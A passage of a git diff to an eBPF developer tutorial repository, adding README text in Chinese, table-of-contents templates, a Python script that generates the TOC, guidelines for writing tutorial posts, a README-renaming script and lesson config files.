Codespace,这可能需要几分钟的时间,具体取决于您的网络速度和仓库的大小。 +3. 一旦您的 Codespace 启动并准备好使用,您可以打开终端并导航到您的项目目录中。 +4. 可以按照对应的仓库中的介绍来编译和运行 eBPF 程序: + + ![codespace](imgs/codespace.png) + +使用 Codespaces,您可以轻松地创建、管理和共享云端开发环境,从而将您的开发过程加速并使其更具可靠性。您可以在任何地方、任何设备上使用 Codespaces 进行开发,只需要一个具有 Web 浏览器的计算机即可。同时,GitHub Codespaces 还支持预先配置好的环境、自定义开发容器和可定制化的开发体验等功能,以满足您的开发需求。 + +在 codespace 编写代码,提交后,Github Actions 会进行编译并自动发布容器镜像。接下来,你可以在任何地方使用 docker 一键运行这个 eBPF 程序,例如: + +```console +$ sudo docker run --rm -it --privileged ghcr.io/eunomia-bpf/libbpf-rs-template:latest +[sudo] password for xxx: +Tracing run queue latency higher than 10000 us +TIME COMM TID LAT(us) +12:09:19 systemd-udevd 30786 18300 +12:09:19 systemd-udevd 30796 21941 +12:09:19 systemd-udevd 30793 10323 +12:09:19 systemd-udevd 30795 14827 +12:09:19 systemd-udevd 30790 17973 +12:09:19 systemd-udevd 30793 12328 +12:09:19 systemd-udevd 30796 28721 +``` + +![docker](imgs/docker.png) + +## 推荐书籍:《深入理解 eBPF 与可观测性》 + +在当今云原生、人工智能和大模型迅猛发展的时代,理解和优化操作系统性能变得尤为重要。龙蜥社区多位资深专家历时两年,联袂打造业内首本系统性穿透 Linux 内核观测技术指南——《深入理解 eBPF 与可观测性》。 + +本书不仅深入剖析了 eBPF 的底层原理和开发框架,结合了网络、内存、I/O、调度等六大领域,提供了原理和代码级的深度解析,包含了丰富的生产级实践代码,助力读者快速掌握 eBPF 技术,应用于网络流量分析、故障排查、性能调优等实际场景。 + +无论是内核开发者、运维工程师、eBPF 技术爱好者,还是可观测领域、操作系统领域专家,这本书都将成为您洞悉 Linux 系统的必备武器。 + +![书籍推荐](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/book-picture.png) + +欢迎关注我们的微信公众号,获取更多 eBPF 相关的技术文章、教程更新和社区动态! + +![微信公众号](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/wechat-qrcode.png) + +## 本地编译 + +本地编译示例如下所示: + +```shell +git clone https://github.com/eunomia-bpf/bpf-developer-tutorial.git +cd bpf-developer-tutorial +git submodule update --init --recursive # 同步 submodule 子模块 +cd src/24-hide +make +``` + +## 为什么需要基于 libbpf 和 BPF CO-RE 的教程? + +> 历史上,当需要开发一个BPF应用时可以选择BCC 框架,在实现各种用于Tracepoints的BPF程序时需要将BPF程序加载到内核中。BCC提供了内置的Clang编译器,可以在运行时编译BPF代码,并将其定制为符合特定主机内核的程序。这是在不断变化的内核内部下开发可维护的BPF应用程序的唯一方法。在BPF的可移植性和CO-RE一文中详细介绍了为什么会这样,以及为什么BCC是之前唯一的可行方式,此外还解释了为什么 libbpf 是目前比较好的选择。去年,Libbpf的功能和复杂性得到了重大提升,消除了与BCC之间的很多差异(特别是对Tracepoints应用来说),并增加了很多BCC不支持的新的且强大的特性(如全局变量和BPF skeletons)。 +> +> 诚然,BCC会竭尽全力简化BPF开发人员的工作,但有时在获取便利性的同时也增加了问题定位和修复的困难度。用户必须记住其命名规范以及自动生成的用于Tracepoints的结构体,且必须依赖这些代码的重写来读取内核数据和获取kprobe参数。当使用BPF map时,需要编写一个半面向对象的C代码,这与内核中发生的情况并不完全匹配。除此之外,BCC使得用户在用户空间编写了大量样板代码,且需要手动配置最琐碎的部分。 +> +> 如上所述,BCC依赖运行时编译,且本身嵌入了庞大的LLVM/Clang库,由于这些原因,BCC与理想的使用有一定差距: +> +> - 编译时的高资源利用率(内存和CPU),在繁忙的服务器上时有可能干扰主流程。 +> - 依赖内核头文件包,不得不在每台目标主机上进行安装。即使这样,如果需要某些没有通过公共头文件暴露的内核内容时,需要将类型定义拷贝黏贴到BPF代码中,通过这种方式达成目的。 +> - 即使是很小的编译时错误也只能在运行时被检测到,之后不得不重新编译并重启用户层的应用;这大大影响了开发的迭代时间(并增加了挫败感...) +> +> Libbpf + BPF CO-RE (Compile Once – Run Everywhere) 选择了一个不同的方式,其思想在于将BPF程序视为一个普通的用户空间的程序:仅需要将其编译成一些小的二进制,然后不用经过修改就可以部署到目的主机上。libbpf扮演了BPF程序的加载器,负责配置工作(重定位,加载和校验BPF程序,创建BPF maps,附加到BPF钩子上等),开发者仅需要关注BPF程序的正确性和性能即可。这种方式使得开销降到了最低,消除了大量依赖,提升了整体开发者的开发体验。 +> +> 在API和代码约定方面,libbpf坚持"最少意外"的哲学,即大部分内容都需要明确地阐述:不会隐含任何头文件,也不会重写代码。仅使用简单的C代码和适当的辅助宏即可消除大部分单调的环节。 此外,用户编写的是需要执行的内容,BPF应用程序的结构是一对一的,最终由内核验证并执行。 +> +> 参考:[BCC 到libbpf 的转换指南【译】 - 深入浅出eBPF: https://www.ebpf.top/post/bcc-to-libbpf-guid/](https://www.ebpf.top/post/bcc-to-libbpf-guid/) + +## eunomia-bpf + +[eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) 是一个开源的 eBPF 动态加载运行时和开发工具链,是为了简化 eBPF 程序的开发、构建、分发、运行而设计的,基于 libbpf 的 CO-RE 轻量级开发框架。 + +使用 eunomia-bpf ,可以: + +- 在编写 eBPF 程序或工具时只编写 libbpf 内核态代码,自动获取内核态导出信息; +- 使用 Wasm 进行 eBPF 用户态程序的开发,在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行,以及处理相关数据; +- eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块,跨架构和内核版本进行分发,无需重新编译即可动态加载运行。 + +eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架,简化了 eBPF 程序的开发流程,在大多数时候只需编写内核态代码,即可轻松构建、打包、发布完整的 eBPF 应用,同时保证内核态 eBPF 代码和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的兼容性。需要编写用户态代码的时候,也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 + +> - eunomia-bpf 项目 Github 地址: +> - gitee 镜像: + +## 让 ChatGPT 来帮助我们 + +本教程也尝试借助 ChatGPT 来学习编写 eBPF 程序,同时我们尝试教会 ChatGPT 编写 eBPF 程序,大概步骤如下: + +1. 告诉它基本的 eBPF 编程相关的常识 +2. 告诉它一些案例:hello world,eBPF 程序的基本结构,如何使用 eBPF 程序进行追踪,并且让它开始编写教程 +3. 手动调整教程,并纠正代码和文档中的错误 +4. 把修改后的代码再喂给 ChatGPT,让它继续学习 +5. 尝试让 ChatGPT 自动生成 eBPF 程序和对应的教程文档!例如 + +![ebpf-chatgpt-signal](imgs/ebpf-chatgpt-signal.png) + +完整的对话记录可以在这里找到: [ChatGPT.md](src/ChatGPT.md) + +我们也构建了一个命令行工具的 demo ,通过本教程的训练, 让它通过自然语言描述即可自动编写 eBPF 程序,追踪 Linux 系统: + +![ebpf-chatgpt-signal](https://github.com/eunomia-bpf/GPTtrace/blob/main/doc/result.gif) diff --git a/scripts/SUMMARY.md.template b/scripts/SUMMARY.md.template new file mode 100644 index 00000000..49378119 --- /dev/null +++ b/scripts/SUMMARY.md.template @@ -0,0 +1,9 @@ +# eBPF Tutorial by Example: Learning CO-RE eBPF Step by Step + +This is a development tutorial for eBPF based on CO-RE (Compile Once, Run Everywhere). It provides practical eBPF development practices from beginner to advanced, including basic concepts, code examples, and real-world applications. Unlike BCC, we use frameworks like libbpf, Cilium, libbpf-rs, and eunomia-bpf for development, with examples in languages such as C, Go, and Rust. + +This tutorial does not cover complex concepts and scenario introductions. Its main purpose is to provide examples of eBPF tools (**very short, starting with twenty lines of code!**) to help eBPF application developers quickly grasp eBPF development methods and techniques. The tutorial content can be found in the directory, with each directory being an independent eBPF tool example. + +For the complete source code of the tutorial, please refer to the repo [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) on GitHub. **If you find this tutorial helpful, please give us a star!** + +{{TOC_CONTENT}} diff --git a/scripts/SUMMARY.zh.md.template b/scripts/SUMMARY.zh.md.template new file mode 100644 index 00000000..77fbe895 --- /dev/null +++ b/scripts/SUMMARY.zh.md.template @@ -0,0 +1,23 @@ +# eBPF 开发实践教程:基于 CO-RE,通过小工具快速上手 eBPF 开发 + +这是一个基于 `CO-RE`(一次编译,到处运行)的 eBPF 的开发教程,提供了从入门到进阶的 eBPF 开发实践,包括基本概念、代码实例、实际应用等内容。和 BCC 不同的是,我们使用 libbpf、Cilium、libbpf-rs、eunomia-bpf 等框架进行开发,包含 C、Go、Rust 等语言的示例。 + +本教程不会进行复杂的概念讲解和场景介绍,主要希望提供一些 eBPF 小工具的案例(**非常短小,从二十行代码开始入门!**),来帮助 eBPF 应用的开发者快速上手 eBPF 的开发方法和技巧。教程内容可以在目录中找到,每个目录都是一个独立的 eBPF 工具案例。 + +教程关注于可观测性、网络、安全等等方面的 eBPF 示例。完整的代码和教程可以在 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) GitHub 开源仓库中找到。**如果您认为本教程对您有所帮助,也请给我们一个 star 鼓励一下!** + +{{TOC_CONTENT}} + +## 推荐书籍:《深入理解 eBPF 与可观测性》 + +在当今云原生、人工智能和大模型迅猛发展的时代,理解和优化操作系统性能变得尤为重要。龙蜥社区多位资深专家历时两年,联袂打造业内首本系统性穿透 Linux 内核观测技术指南——《深入理解 eBPF 与可观测性》。 + +本书不仅深入剖析了 eBPF 的底层原理和开发框架,结合了网络、内存、I/O、调度等六大领域,提供了原理和代码级的深度解析,包含了丰富的生产级实践代码,助力读者快速掌握 eBPF 技术,应用于网络流量分析、故障排查、性能调优等实际场景。 + +无论是内核开发者、运维工程师、eBPF 技术爱好者,还是可观测领域、操作系统领域专家,这本书都将成为您洞悉 Linux 系统的必备武器。 + +![书籍推荐](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/book-picture.png) + +欢迎关注我们的微信公众号,获取更多 eBPF 相关的技术文章、教程更新和社区动态! + +![微信公众号](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/wechat-qrcode.png) diff --git a/scripts/generate_toc.py b/scripts/generate_toc.py new file mode 100644 index 00000000..aa79378a --- /dev/null +++ b/scripts/generate_toc.py @@ -0,0 +1,323 @@ +import os +import re + +# Define a function to walk through the directory and generate the TOC structure +def generate_toc(base_dir, project_root, output_file_dir): + toc = "## Table of Contents\n\n" + section_headers = { + "Basic": "### Getting Started Examples\n\nThis section contains simple eBPF program examples and introductions. It primarily utilizes the `eunomia-bpf` framework to simplify development and introduces the basic usage and development process of eBPF.\n\n", + "Advance": "### Advanced Documents and Examples\n\nWe start to build complete eBPF projects mainly based on `libbpf` and combine them with various application scenarios for practical use.\n\n", + "Depth": "### In-Depth Topics\n\nThis section covers advanced topics related to eBPF, including using eBPF programs on Android, possible attacks and defenses using eBPF programs, and complex tracing. Combining the user-mode and kernel-mode aspects of eBPF can bring great power (as well as security risks).\n\n" + } + + subsection_titles = { + "Android": "\n\nAndroid:\n\n", + "GPU": "\n\nGPU:\n\n", + "Scheduler": "\n\nScheduler:\n\n", + "Networking": "\n\nNetworking:\n\n", + "Tracing": "\n\nTracing:\n\n", + "Security": "\n\nSecurity:\n\n", + "Features": "\n\nFeatures:\n\n", + "Other": "\nOther:\n\n" + } + + subsection_order = ['GPU', 'Scheduler', 'Networking', 'Tracing', 'Security', 'Features', 'Other', 'Android'] + + # To ensure numeric sorting of directories + def sort_key(directory_name): + return list(map(int, re.findall(r'\d+', directory_name))) + + sections = {} # {section_level: {subsection_type: [lessons]}} + + # Collect all directories including subdirectories + all_dirs = [] + for item in os.listdir(base_dir): + item_path = os.path.join(base_dir, item) + if os.path.isdir(item_path): + # Add numbered directories directly + if re.match(r'^\d+', item): + all_dirs.append(item) + # Also scan subdirectories (like features/, xpu/) + else: + for subitem in os.listdir(item_path): + subitem_path = os.path.join(item_path, subitem) + if os.path.isdir(subitem_path): + all_dirs.append(os.path.join(item, subitem)) + + # Sort directories properly by numeric order (non-numeric dirs go to end) + all_dirs = sorted(all_dirs, key=lambda d: sort_key(d) if re.search(r'\d+', d) else [999999]) + + # Loop over the sorted directories + for directory in all_dirs: + lesson_path = os.path.join(base_dir, directory) + config_path = os.path.join(lesson_path, ".config") + readme_path = os.path.join(lesson_path, "README.md") + + if os.path.exists(config_path) and os.path.exists(readme_path): + # Read the .config file for 'level', 'type', and 'desc' + with open(config_path, 'r') as config_file: + config_lines = config_file.readlines() + level = None + lesson_type = None + desc = None + for line in config_lines: + if line.startswith("level="): + level = line.split("=",1)[1].strip() + elif line.startswith("type="): + lesson_type = line.split("=",1)[1].strip() + elif line.startswith("desc="): + desc = line.split("=",1)[1].strip() + + # Extract the first markdown title in README_en.md + with open(readme_path, 'r') as readme_file: + first_title = None + for line in readme_file: + if line.startswith("#"): + first_title = line.strip().lstrip("#").strip() + break + + # If title starts with "eBPF", remove the part before the colon + if first_title and first_title.startswith("eBPF"): + if ":" in first_title: + first_title = first_title.split(":", 1)[1].strip() + + # Get the relative path for the lesson (relative to the output file's directory) + lesson_rel_path = os.path.relpath(readme_path, output_file_dir) + + # Prepare lesson data + # Handle both numbered lessons (e.g., "12-profile") and named lessons (e.g., "features/bpf_arena") + if '-' in os.path.basename(directory): + lesson_number = directory.split('-')[0] + lesson_name = directory.split('-', 1)[1] + link_text = f"lesson {lesson_number}-{lesson_name}" + else: + # For non-numbered directories, use the full path as name + link_text = directory.replace('/', ' ') + + link = f"{lesson_rel_path}" + # Use description if available, else use first title + lesson_desc = desc if desc else first_title + + lesson_entry = { + 'link_text': link_text, + 'link': link, + 'desc': lesson_desc + } + + # Organize lessons into sections and subsections + sections.setdefault(level, {}).setdefault(lesson_type, []).append(lesson_entry) + + # Now, output the TOC in the desired order + section_order = ['Basic', 'Advance', 'Depth'] + + for level in section_order: + if level in sections: + toc += section_headers.get(level, "") + # For Basic and Advance sections, no subsections + if level != 'Depth': + for lesson in sum(sections[level].values(), []): # Flatten the list + toc += f"- [{lesson['link_text']}]({lesson['link']}) {lesson['desc']}\n" + else: + # For Depth section, output subsections in the desired order + for subsection in subsection_order: + if subsection in sections[level]: + toc += subsection_titles.get(subsection, "") + for lesson in sections[level][subsection]: + toc += f"- [{lesson['link_text']}]({lesson['link']}) {lesson['desc']}\n" + + toc += "\nContinuously updating..." + return toc + + +# Define a function to walk through the directory and generate the TOC structure in Chinese +def generate_toc_cn(base_dir, project_root, output_file_dir): + toc = "## 目录\n\n" + section_headers = { + "Basic": "### 入门示例\n\n这一部分包含简单的 eBPF 程序示例和介绍。主要利用 `eunomia-bpf` 框架简化开发,介绍 eBPF 的基本用法和开发流程。\n\n", + "Advance": "### 高级文档和示例\n\n我们开始构建完整的 eBPF 项目,主要基于 `libbpf`,并将其与各种应用场景结合起来,以便实际使用。\n\n", + "Depth": "### 深入主题\n\n这一部分涵盖了与 eBPF 相关的高级主题,包括在 Android 上使用 eBPF 程序、利用 eBPF 程序进行的潜在攻击和防御以及复杂的追踪。结合用户模式和内核模式的 eBPF 可以带来强大的能力(也可能带来安全风险)。\n\n" + } + + subsection_titles = { + "Android": "Android:\n\n", + "GPU": "GPU:\n\n", + "Scheduler": "调度器:\n\n", + "Networking": "网络:\n\n", + "tracing": "Tracing:\n\n", + "Security": "安全:\n\n", + "Features": "特性:\n\n", + "Other": "特性:\n\n" + } + + subsection_order = ['GPU', 'Scheduler', 'Networking', 'tracing', 'Security', 'Features', 'Other', 'Android'] + + # To ensure numeric sorting of directories + def sort_key(directory_name): + return list(map(int, re.findall(r'\d+', directory_name))) + + sections = {} # {section_level: {subsection_type: [lessons]}} + + # Collect all directories including subdirectories + all_dirs = [] + for item in os.listdir(base_dir): + item_path = os.path.join(base_dir, item) + if os.path.isdir(item_path): + # Add numbered directories directly + if re.match(r'^\d+', item): + all_dirs.append(item) + # Also scan subdirectories (like features/, xpu/) + else: + for subitem in os.listdir(item_path): + subitem_path = os.path.join(item_path, subitem) + if os.path.isdir(subitem_path): + all_dirs.append(os.path.join(item, subitem)) + + # Sort directories properly by numeric order (non-numeric dirs go to end) + all_dirs = sorted(all_dirs, key=lambda d: sort_key(d) if re.search(r'\d+', d) else [999999]) + + # Loop over the sorted directories + for directory in all_dirs: + lesson_path = os.path.join(base_dir, directory) + config_path = os.path.join(lesson_path, ".config") + readme_path = os.path.join(lesson_path, "README.zh.md") + + if os.path.exists(config_path) and os.path.exists(readme_path): + # Read the .config file for 'level', 'type', and 'desc' + with open(config_path, 'r') as config_file: + config_lines = config_file.readlines() + level = None + lesson_type = None + desc = None + for line in config_lines: + if line.startswith("level="): + level = line.split("=",1)[1].strip() + elif line.startswith("type="): + lesson_type = line.split("=",1)[1].strip() + elif line.startswith("desc="): + desc = line.split("=",1)[1].strip() + + # Extract the first markdown title in README.md + with open(readme_path, 'r') as readme_file: + first_title = None + for line in readme_file: + if line.startswith("#"): + first_title = line.strip().lstrip("#").strip() + break + + # If title starts with "eBPF", remove the part before the colon + if first_title and first_title.startswith("eBPF"): + if ":" in first_title: + first_title = first_title.split(":", 1)[1].strip() + + # Get the relative path for the lesson (relative to the output file's directory) + lesson_rel_path = os.path.relpath(readme_path, output_file_dir) + + # Prepare lesson data + # Handle both numbered lessons (e.g., "12-profile") and named lessons (e.g., "features/bpf_arena") + if '-' in os.path.basename(directory): + lesson_number = directory.split('-')[0] + lesson_name = directory.split('-', 1)[1] + link_text = f"lesson {lesson_number}-{lesson_name}" + else: + # For non-numbered directories, use the full path as name + link_text = directory.replace('/', ' ') + + link = f"{lesson_rel_path}" + # Use description if available, else use first title + lesson_desc = desc if desc else first_title + + lesson_entry = { + 'link_text': link_text, + 'link': link, + 'desc': lesson_desc + } + + # Organize lessons into sections and subsections + sections.setdefault(level, {}).setdefault(lesson_type, []).append(lesson_entry) + + # Now, output the TOC in the desired order + section_order = ['Basic', 'Advance', 'Depth'] + + for level in section_order: + if level in sections: + toc += section_headers.get(level, "") + # For Basic and Advance sections, no subsections + if level != 'Depth': + for lesson in sum(sections[level].values(), []): # Flatten the list + toc += f"- [{lesson['link_text']}]({lesson['link']}) {lesson['desc']}\n" + else: + # For Depth section, output subsections in the desired order + for subsection in subsection_order: + if subsection in sections[level]: + toc += subsection_titles.get(subsection, "") + for lesson in sections[level][subsection]: + toc += f"- [{lesson['link_text']}]({lesson['link']}) {lesson['desc']}\n" + + toc += "\n持续更新中..." + return toc + + +def load_template(template_path): + """Load a template file and return its content""" + with open(template_path, 'r', encoding='utf-8') as f: + return f.read() + + +def generate_file_from_template(template_path, output_path, toc_content): + """Generate a file from template by replacing {{TOC_CONTENT}} placeholder""" + template = load_template(template_path) + output_content = template.replace('{{TOC_CONTENT}}', toc_content) + + with open(output_path, 'w', encoding='utf-8') as f: + f.write(output_content) + + print(f"Generated: {output_path}") + + +# Main execution +if __name__ == "__main__": + # Get the absolute path to the script's directory + script_dir = os.path.dirname(os.path.abspath(__file__)) + # Get the project root (parent of scripts directory) + project_root = os.path.dirname(script_dir) + + base_directory = os.path.join(project_root, "src") + scripts_dir = os.path.join(project_root, "scripts") + + # Generate TOC content for SUMMARY.md files (output in src/ directory) + toc_summary_en = generate_toc(base_directory, project_root, os.path.join(project_root, 'src')) + toc_summary_cn = generate_toc_cn(base_directory, project_root, os.path.join(project_root, 'src')) + + # Generate TOC content for README.md files (output in project root) + toc_readme_en = generate_toc(base_directory, project_root, project_root) + toc_readme_cn = generate_toc_cn(base_directory, project_root, project_root) + + # Generate SUMMARY.md from template + generate_file_from_template( + os.path.join(scripts_dir, 'SUMMARY.md.template'), + os.path.join(project_root, 'src', 'SUMMARY.md'), + toc_summary_en + ) + + # Generate SUMMARY.zh.md from template + generate_file_from_template( + os.path.join(scripts_dir, 'SUMMARY.zh.md.template'), + os.path.join(project_root, 'src', 'SUMMARY.zh.md'), + toc_summary_cn + ) + + # Generate README.md from template + generate_file_from_template( + os.path.join(scripts_dir, 'README.md.template'), + os.path.join(project_root, 'README.md'), + toc_readme_en + ) + + # Generate README.zh.md from template + generate_file_from_template( + os.path.join(scripts_dir, 'README.zh.md.template'), + os.path.join(project_root, 'README.zh.md'), + toc_readme_cn + ) + + print("\nAll files generated successfully!") diff --git a/scripts/guideline_advance.md b/scripts/guideline_advance.md new file mode 100644 index 00000000..02ad761b --- /dev/null +++ b/scripts/guideline_advance.md @@ -0,0 +1,81 @@ +# Blog Guidelines for Advanced eBPF Tutorials + +This document outlines the key patterns and requirements for writing advanced eBPF tutorials. Advanced tutorials focus on complex eBPF programs, tools, or features that extend beyond basic concepts. They require a deeper understanding of eBPF and kernel interactions. + +The audience for advanced tutorials includes developers, system administrators, and security professionals with intermediate to advanced eBPF knowledge. The goal is to provide in-depth explanations of advanced eBPF topics and practical examples that readers can apply in real-world scenarios. + +The key point in tone: Using oral English, clear and simple words and short sentence, make it attractive and easy to read, do not make it like a paper. Not too much fancy words, try to be attracive. + +You should also include all the details and information I provide to you. do not simplify or change any of them, you just need to regorganize them in a more attractive way as a tutorial blog. + +## starting with a clear and descriptive title + +Begin with a clear and descriptive title: + +``` +# eBPF Tutorial by Example: [Advanced Topic] +``` + +Kick off with a brief intro to the advanced eBPF topic you're covering, and the example or tool you'll discuss. Highlight its significance and how it extends beyond basic concepts. Let readers know what they'll learn and why it's important. + +## Incroduction to the concept, tool and Background + +(Come up with a better session title) + +Provide an overview of the specific eBPF programs, tools, or features you'll discuss. Explain their purpose, use cases, and the key eBPF features or kernel events involved. Focus on aspects that are crucial for advanced understanding. + +## High-Level Code Analysis + +Dive into the kernel-mode eBPF code and user-space code, focusing on high-level concepts rather than basic syntax. + +Always include the full code as it is first. then break down the key parts. + +Try to avoid using too much list, make it more like a story. + +Follow the steps: + +1. First, introduce The overall processing logic in both kernel and user space. +2. Then break down the kernel-mode eBPF code, include + +- How the eBPF program is structured. +- Key eBPF functionalities utilized. +- How the code interacts with kernel events. + +Do not make them a list, make them some paragraphs, you can also quote some code snippets to explain the key parts of the code if needed, focus on the logic and features used in advanced eBPF development. Don't make it too long, but make sure it is informative enough and you explain everything a advanced eBPF developer wants to know. + +3. Then briefly explain the user-space code + +Aim to help readers grasp how the code works without getting bogged down in basic details. + +## Any more detailed concepts or features explanation + +If there are other information or features that are important to understand the code, you can add them here. + +## 5. Compilation and Execution + +Provide instructions on compiling and running the eBPF programs, noting any advanced configurations or dependencies. Include commands and what readers should expect as output. Typically, you can run `make` in the relevant directory in the tutorial repository to build the code. + +Include links to complete source code and resources: + +- **Repository:** +- **Website:** + +## 6. Summary and Call to Action + +Wrap up by summarizing the key points. Emphasize the advanced concepts covered and encourage readers to apply this knowledge. Invite them to explore more examples and tutorials, as one paragraph: + +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . + +## reference + +You should include the important references and resources that used in the tutorial. If this is from other sources like kernel sample or tools, make sure to include them here and clearly mention them in the tutorial. + +## Additional Guidelines + +- **Clarity:** Use simple language and short sentences to explain complex ideas. But the information should be complete and detailed. +- **Focus on Advanced Concepts:** Assume readers have basic eBPF knowledge; skip elementary explanations. +- **Engagement:** Encourage readers to think critically and engage with the material. +- **Consistency:** Keep a consistent style and formatting throughout. +- **Code Formatting:** Ensure code snippets are well-formatted and highlight key parts. Do not change or simplify any of the code and commands, keep them as they are. +- **Proofreading:** Double-check for errors and ensure technical accuracy. +- **Accessibility:** Make the content valuable for readers with advanced expertise, avoiding unnecessary simplifications. diff --git a/scripts/guideline_basic.md b/scripts/guideline_basic.md new file mode 100644 index 00000000..5eaf3346 --- /dev/null +++ b/scripts/guideline_basic.md @@ -0,0 +1,114 @@ +# blog guideline or pattern + +## Key Pattern and Requirements for eBPF Tutorial Blog Posts + +### 1. **Title** + +- Begin with a clear and descriptive title, following the format: + + ``` + # eBPF Tutorial by Example: [Topic Description] + ``` + + *Example:* + + ``` + # eBPF Tutorial by Example: Recording TCP Connection Status and TCP RTT + ``` + +- Or slightly different + + ``` + # eBPF Developer Tutorial: [Topic Description] + ``` + +### 2. **Introduction** and background + +- Start with a brief introduction to eBPF, explaining its significance and capabilities. +- Provide context for the tutorial's focus, mentioning the specific tools, example or use cases that will be covered. +- **Goal:** Help readers understand what they will learn and why it's important. + +### 3. **Overview of the Tools, Examples or features or what we are describing in this tutorial** + +Think of a better subtitle related to this part. + +- Introduce the specific eBPF programs or tools that will be discussed. +- Explain their purpose and how they can help you, their usecase or why you need them. +- What key eBPF feature or kernel events is used or related? Only discuss important ones, but should be detailed +- **Goal:** Give readers a clear understanding of what each tool does. + +Note that it might not always be a tool. Might be examples or others. + +### 4. **Kernel eBPF Code Analysis** + +- Present the kernel-mode eBPF code related to the tools. +- Include code snippets with proper formatting for readability. + - if not too long, include the full code first. +- Provide detailed explanations of key sections in the code. +- for example: + - *Define BPF Maps:* Explain the maps used and their purposes. + - *Events:* Describe how the code attaches to kernel events. + - *Logic:* Explain how the processing in kernel happens + - *Features*: introduce used features in eBPF +- **Goal:** Help readers understand how the eBPF code works internally. + +### 5. **User-Space Code Analysis** + +- Present the user-space code that interacts with the eBPF program. + - if not too long, include the full code first. +- Include code snippets and explain how the user-space application processes data from the eBPF program. +- for example: + - *Event Handling:* Describe how events are received and processed. + - *Data Presentation:* Explain how data is formatted and displayed to the user. +- **Goal:** Show how the eBPF program communicates with user-space and how to interpret the results. + +### 6. **Compilation and Execution Instructions** + +- Provide step-by-step instructions on how to compile and run the eBPF programs. +- Include commands and expected outputs. +- Mention any prerequisites or dependencies required. + - *Compiling the eBPF Program:* Commands and explanations. + - *Running the User-Space Application:* How to execute and interpret outputs. +- **Goal:** Enable readers to replicate the examples on their own systems. + +You need to provide **Complete Source Code and Resources** link in ompilation and Execution Instructions. + +- Provide links to the complete source code repositories. +- Include references to related tools, documentation, or tutorials. + - *Source Code:* Direct links to GitHub or relevant repositories. + - *References:* List of resources for further reading. +- **Goal:** Offer additional resources for readers to explore more deeply. + +The repo is in , website at . Typically you can run `make` in the related fir, such as `bpf-developer-tutorial/src/41-xdp-tcpdump` to build it. + +### 7. **Summary and Conclusion** + +- Summarize the key points covered in the tutorial. +- Emphasize the importance of the tools and concepts learned. +- Encourage readers to apply this knowledge and explore further. +- **Goal:** Reinforce learning outcomes and inspire continued learning. + +You need to have **Call to Action** in Summary and Conclusion + +- Invite readers to visit your tutorial repository and website for more examples and complete tutorials. +- Provide links to the main tutorial site and any relevant sections. The link should be show directly. + +- **Example:** + + ```md + If you would like to learn more about eBPF, visit our tutorial code repository at or our website at . + ``` + +## Additional Guidelines + +- **Consistency:** Maintain a consistent writing style and formatting across all blog posts. +- **Clarity:** Use clear and concise language to explain complex concepts. +- **Code Formatting:** Ensure all code snippets are properly formatted and syntax-highlighted for readability. +- **Visual Aids:** Include diagrams or charts if they help in explaining concepts better. +- **Audience Engagement:** Pose questions or scenarios that encourage readers to think and engage with the material. +- **Proofreading:** Check for grammatical errors and ensure technical accuracy. +- **Accessibility:** Make sure that the tutorials are accessible to readers with varying levels of expertise in eBPF. + +Also, do not just list points, try to make it using paragraph unless points list is clear. + +The key point in tone: Using oral English, clear and simple words and short sentence, make it attractive and easy to read, do not make it like a paper. Not too much fancy words, try to be attracive. diff --git a/scripts/rename.py b/scripts/rename.py new file mode 100644 index 00000000..981df464 --- /dev/null +++ b/scripts/rename.py @@ -0,0 +1,34 @@ +import os + +def rename_readme_en_to_readme(base_dir): + # First pass: Rename README_en.md to README.md + for root, dirs, files in os.walk(base_dir): + for file in files: + file_path = os.path.join(root, file) + + # Rename README_en.md to README.md + if file == "README_en.md": + new_file_path = os.path.join(root, "README.md") + os.rename(file_path, new_file_path) + print(f"Renamed {file_path} to {new_file_path}") + +def rename_readme_to_readme_zh(base_dir): + # Second pass: Rename README.md to README.zh.md + for root, dirs, files in os.walk(base_dir): + for file in files: + file_path = os.path.join(root, file) + + # Rename README.md to README.zh.md if it exists + if file == "README.md": + zh_file_path = os.path.join(root, "README.zh.md") + os.rename(file_path, zh_file_path) + print(f"Renamed {file_path} to {zh_file_path}") + +# Example usage +base_directory = "/root/bpf-developer-tutorial/src" # Replace with the actual base directory + +# Second pass: Rename README.md to README.zh.md +rename_readme_to_readme_zh(base_directory) + +# First pass: Rename README_en.md to README.md +rename_readme_en_to_readme(base_directory) diff --git a/src/.mdbookignore b/src/.mdbookignore new file mode 100644 index 00000000..912eacc1 --- /dev/null +++ b/src/.mdbookignore @@ -0,0 +1 @@ +third_party diff --git a/src/0-introduce/.config b/src/0-introduce/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/0-introduce/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/0-introduce/README.md b/src/0-introduce/README.md index 59e15e78..24fd2cfc 100644 --- a/src/0-introduce/README.md +++ b/src/0-introduce/README.md @@ -1,173 +1,163 @@ -# eBPF 入门开发实践教程零:介绍 eBPF 的基本概念、常见的开发工具 - -## 1. eBPF 简介:安全和有效地扩展内核 - -eBPF 是一项革命性的技术,起源于 Linux 内核,可以在操作系统的内核中运行沙盒程序。它被用来安全和有效地扩展内核的功能,而不需要改变内核的源代码或加载内核模块。eBPF 通过允许在操作系统内运行沙盒程序,应用程序开发人员可以在运行时,可编程地向操作系统动态添加额外的功能。然后,操作系统保证安全和执行效率,就像在即时编译(JIT)编译器和验证引擎的帮助下进行本地编译一样。eBPF 程序在内核版本之间是可移植的,并且可以自动更新,从而避免了工作负载中断和节点重启。 - -今天,eBPF 